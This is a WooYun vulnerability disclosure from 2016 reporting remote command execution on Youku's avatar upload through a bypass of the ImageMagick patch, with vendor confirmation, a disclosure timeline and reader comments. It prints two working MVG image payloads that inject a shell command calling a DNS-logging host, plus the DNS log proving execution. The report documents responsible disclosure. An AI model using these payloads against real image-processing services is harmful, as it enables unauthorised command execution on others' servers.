优酷主站存在远程命令执行漏洞(ImageMagick补丁绕过)

编号214677
Urlhttp://www.wooyun.org/bug.php?action=view&id=214677
漏洞状态厂商已经确认
漏洞标题优酷主站存在远程命令执行漏洞(ImageMagick补丁绕过)
漏洞类型命令执行
厂商优酷
白帽子猪猪侠
提交日期2016-05-31 01:48:00
公开日期2016-07-15 09:30:00
修复时间(not set)
确认时间2016-05-31 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank20
漏洞简介
优酷主站存在远程命令执行漏洞(ImageMagick补丁绕过)
漏洞细节

# 依然是头像上传
http://i.youku.com/u/setting/base_avatar.html
新的利用代码1

push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 '|host image.99fd5e.dnslog.info'
pop graphic-context


新的利用代码2

push graphic-context
viewbox 0 0 640 480
image copy 200,200 100,100 "|host image.99fd5e.dnslog.info"
pop graphic-context

POC

CloudEYE

31-May-2016 01:44:34.435 queries: client 220.181.185.161#20744 (image.99fd5e.dnslog.info): query: image.99fd5e.dnslog.info IN A -ED (128.199.200.236)
31-May-2016 01:44:34.676 queries: client 220.181.185.161#40705 (image.99fd5e.dnslog.info): query: image.99fd5e.dnslog.info IN AAAA -ED (128.199.200.236)
31-May-2016 01:44:34.915 queries: client 220.181.185.161#34501 (image.99fd5e.dnslog.info): query: image.99fd5e.dnslog.info IN MX -ED (128.199.200.236)

修复方案

我也不知道怎么补丁

状态信息 2016-05-31: 细节已通知厂商并且等待厂商处理中
2016-05-31: 厂商已经确认,细节仅向厂商公开
2016-06-10: 细节向核心白帽子及相关领域专家公开
2016-06-20: 细节向普通白帽子公开
2016-06-30: 细节向实习白帽子公开
2016-07-15: 细节向公众公开
厂商回复感谢猪猪侠报告!漏洞修复中!
回应信息危害等级:高漏洞Rank:20 确认时间:2016-05-31 09:28
Showing 1-17 of 17 items.
评论内容评论人点赞数评论时间

没看懂

未了02016-07-15 09:47:00

哈哈 好挑衅的感觉

BloodSword02016-06-03 16:42:00

猪哥竟然也刷 我不葱白你了 这是叫绕过吗

BloodSword02016-06-03 16:41:00

@盛大网络 这厂商是最接地气的了

美食家L02016-05-31 16:57:00

@盛大网络 这厂商是最接地气的了吧

sauce02016-05-31 16:53:00

漏洞一公布,就开始搞了,真快。。http://hacked-chengyu.blog.163.com/blog/static/24628908620164314445785/

jackyu02016-05-31 16:51:00

猪哥竟然也刷 我不葱白你了 这是叫绕过吗

盛大网络02016-05-31 13:23:00

666

xiaoyu.02016-05-31 11:36:00

......

美食家L02016-05-31 09:37:00

@雷锋 挖洞能挣几个钱?

Martial02016-05-31 09:08:00

股市赔了,又来挖洞了。总得挣钱。

雷锋02016-05-31 09:07:00

666

我在不想理你02016-05-31 08:05:00

出手果然不凡~

fakeidentity02016-05-31 03:38:00

这个案例再次告诉我们,对提交过的厂商漏洞做二次检测也是有机会再找出问题的

鸡鸡02016-05-31 03:37:00

看来股市长期不行了

prolog02016-05-31 03:01:00

这个时间,我好方

书生02016-05-31 02:09:00

也是够活跃的。。夜猫子

zeracker02016-05-31 01:50:00